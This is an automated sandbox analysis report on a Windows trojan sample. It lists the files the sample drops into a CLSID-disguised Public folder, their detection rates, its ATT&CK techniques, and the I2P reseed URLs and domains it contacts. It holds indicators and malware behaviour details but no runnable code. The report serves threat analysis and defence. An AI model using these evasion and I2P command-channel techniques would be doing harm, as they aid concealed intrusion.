Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB315FA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	32_2_00007FF8BFB315FA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB5254A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	32_2_00007FF8BFB5254A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB8E2B9 listen,	32_2_00007FF8BFB8E2B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB81ADA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	32_2_00007FF8BFB81ADA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFBA0920 listen,	32_2_00007FF8BFBA0920

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	1 Network Sniffing	1 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Create Account	2 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Service Execution	2 Valid Accounts	4 Windows Service	1 Software Packing	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Multi-hop Proxy	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	4 Windows Service	11 Process Injection	1 Timestomp	LSA Secrets	1 Network Sniffing	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	1 Services File Permissions Weakness	1 Services File Permissions Weakness	1 DLL Side-Loading	Cached Domain Credentials	44 System Information Discovery	VNC	GUI Input Capture	4 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Network Share Discovery	Windows Remote Management	Web Portal Capture	2 Proxy	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Masquerading	Proc Filesystem	141 Security Software Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Valid Accounts	/etc/passwd and /etc/shadow	41 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	2 Access Token Manipulation	Network Sniffing	2 Process Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	1 Application Window Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Process Injection	Keylogging	1 System Owner/User Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Users	GUI Input Capture	1 System Network Configuration Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Services File Permissions Weakness	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cZO.exe	11%	ReversingLabs	Win64.Trojan.Generic
cZO.exe	19%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	100%	Avira	TR/AVI.Agent.jibab
C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	100%	Joe Sandbox ML
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	26%	ReversingLabs	Win64.Trojan.Generic
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	8%	ReversingLabs	Win64.Trojan.Generic
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	32%	ReversingLabs	Win64.Trojan.Generic
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	3%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	70%	ReversingLabs	Win64.Trojan.Barys
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	8%	ReversingLabs	Win64.Trojan.Generic
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	3%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	3%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	70%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	70%	ReversingLabs	Win64.Trojan.Barys
C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	58%	ReversingLabs	Win64.Trojan.Alevaul
C:\Windows\Temp\EgwqOk24	3%	ReversingLabs
C:\Windows\Temp\GEGgzh0s	0%	ReversingLabs
C:\Windows\Temp\GmdNT1AN	8%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\I77yQ5in	26%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\OwuZZod2	3%	ReversingLabs
C:\Windows\Temp\XpOp833v	3%	ReversingLabs
C:\Windows\Temp\YXkdIYk6	70%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\YkhL6reh	32%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\o6oDuAJl	8%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
https://banana.incognet.io/p	0%	Avira URL Cloud	safe
https://reseed.memcpy.io/	0%	Avira URL Cloud	safe
https://i2pseed.creativecowpat.net:8443/	0%	Avira URL Cloud	safe
https://reseed.memcpy.io:443/i2pseeds.su3	0%	Avira URL Cloud	safe
https://reseed.diva.exchange/b.c	100%	Avira URL Cloud	malware
https://reseed.i2pgit.org/i2pseeds.su3	100%	Avira URL Cloud	malware
https://reseed.stormycloud.org/b.c	0%	Avira URL Cloud	safe
https://reseed.i2pgit.org:443/i2pseeds.su3	100%	Avira URL Cloud	malware
https://reseed-fr.i2pd.xyz/p	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz:443/i2pseeds.su3	0%	Avira URL Cloud	safe
https://banana.incognet.io/	0%	Avira URL Cloud	safe
https://login.live	100%	Avira URL Cloud	malware
https://reseed.i2pgit.org/P#	100%	Avira URL Cloud	malware
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://i2p.ghativega.in/	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz/i2pseeds.su30	0%	Avira URL Cloud	safe
https://i2p.novg.net/	0%	Avira URL Cloud	safe
https://reseed-fr.i2pd.xyz/	0%	Avira URL Cloud	safe
https://www2.mk16.de/	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtF&P#	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://reseed.onion.im/i2pseeds.su3	0%	Avira URL Cloud	safe
http://identiguy.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://reseed.memcpy.io/hP#	0%	Avira URL Cloud	safe
https://reseed.diva.exchange/	100%	Avira URL Cloud	malware
https://reseed.stormycloud.org/	0%	Avira URL Cloud	safe
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	0%	Avira URL Cloud	safe
https://reseed.i2pgit.org/	100%	Avira URL Cloud	malware
https://i2pseed.creativecowpat.net:8443/G	0%	Avira URL Cloud	safe
https://i2p.novg.net/:	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz:443/i2pseeds.su3T	0%	Avira URL Cloud	safe
http://127.0.0.1:8118	0%	Avira URL Cloud	safe
http://stats.i2p/cgi-bin/newhosts.txt	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz/	0%	Avira URL Cloud	safe
https://i2p.mooo.com/netDb/	0%	Avira URL Cloud	safe
https://reseed2.i2p.net/	100%	Avira URL Cloud	malware
https://reseed.onion.im/	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/??	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/7	0%	Avira URL Cloud	safe
https://reseed.i2pgit.org/i2pseeds.su30	100%	Avira URL Cloud	malware
https://netdb.i2p2.no/	100%	Avira URL Cloud	malware
https://reseed.i2p-projekt.de/	0%	Avira URL Cloud	safe
https://www2.mk16.de/J	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz/i2pseeds.su3	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txt9	0%	Avira URL Cloud	safe
https://legit-website.com/i2pseeds.su3	0%	Avira URL Cloud	safe
https://i2p.ghativega.in/b.c	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
reseed.i2pgit.org	68.183.196.133	true	true	unknown
reseed.memcpy.io	95.216.2.172	true	true	unknown
reseed.onion.im	159.223.194.171	true	true	unknown
reseed-pl.i2pd.xyz	185.226.181.238	true	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://banana.incognet.io/p	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.diva.exchange/b.c	main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://i2pseed.creativecowpat.net:8443/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
https://reseed.memcpy.io:443/i2pseeds.su3	main.exe, 00000016.00000003.2471943070.000002235030D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471338802.0000022350309000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471413512.000002235030B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed-pl.i2pd.xyz:443/i2pseeds.su3	main.exe, 00000016.00000003.2484244836.00000223506CE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.memcpy.io/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA	svchost.exe, 0000001F.00000003.3143580946.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143291121.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156389621.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112272695.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111493334.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183931947.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143546975.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263042958.000001D379310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156417903.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111460681.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183773272.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184036782.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3130778572.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183261030.000001D379308000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183958551.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184178913.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143745371.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199403669.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112006865.000001D37930E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed-fr.i2pd.xyz/p	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/b.c	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA	svchost.exe, 0000001F.00000003.3130435099.000001D379329000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds	svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143492582.000001D37937A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.i2pgit.org/i2pseeds.su3	main.exe, 00000016.00000003.2503133983.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.i2pgit.org:443/i2pseeds.su3	main.exe, 00000016.00000003.2503133983.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://banana.incognet.io/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
http://Passport.NET/tb_	svchost.exe, 0000001F.00000002.3263489218.000001D379854000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.live	svchost.exe, 0000001F.00000002.3262816840.000001D378B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://reseed-pl.i2pd.xyz/i2pseeds.su30	main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
https://reseed-fr.i2pd.xyz/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
https://i2p.novg.net/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
https://reseed.i2pgit.org/P#	main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/msangcwam	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023950758.000001D379357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000001F.00000002.3262697506.000001D378AC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i2p.ghativega.in/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263392705.000001D379813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263489218.000001D379854000.00000004.00000020.00020000.00000000.sdmp	false		high
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/	main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www2.mk16.de/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txt	update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtF&P#	main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds	svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.onion.im/i2pseeds.su3	main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://identiguy.i2p/hosts.txt	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
https://reseed.memcpy.io/hP#	main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.diva.exchange/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 0000001F.00000003.3111366178.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes	svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee	svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.stormycloud.org/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
https://i2pseed.creativecowpat.net:8443/G	main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:	svchost.exe, 0000001F.00000003.3037162349.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID	svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA	svchost.exe, 0000001F.00000003.3130435099.000001D379329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 0000001F.00000003.3111493334.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111460681.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112006865.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111952207.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111425069.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policysrf	svchost.exe, 0000001F.00000003.3111366178.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/scn	svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199322434.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183904232.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	false		high
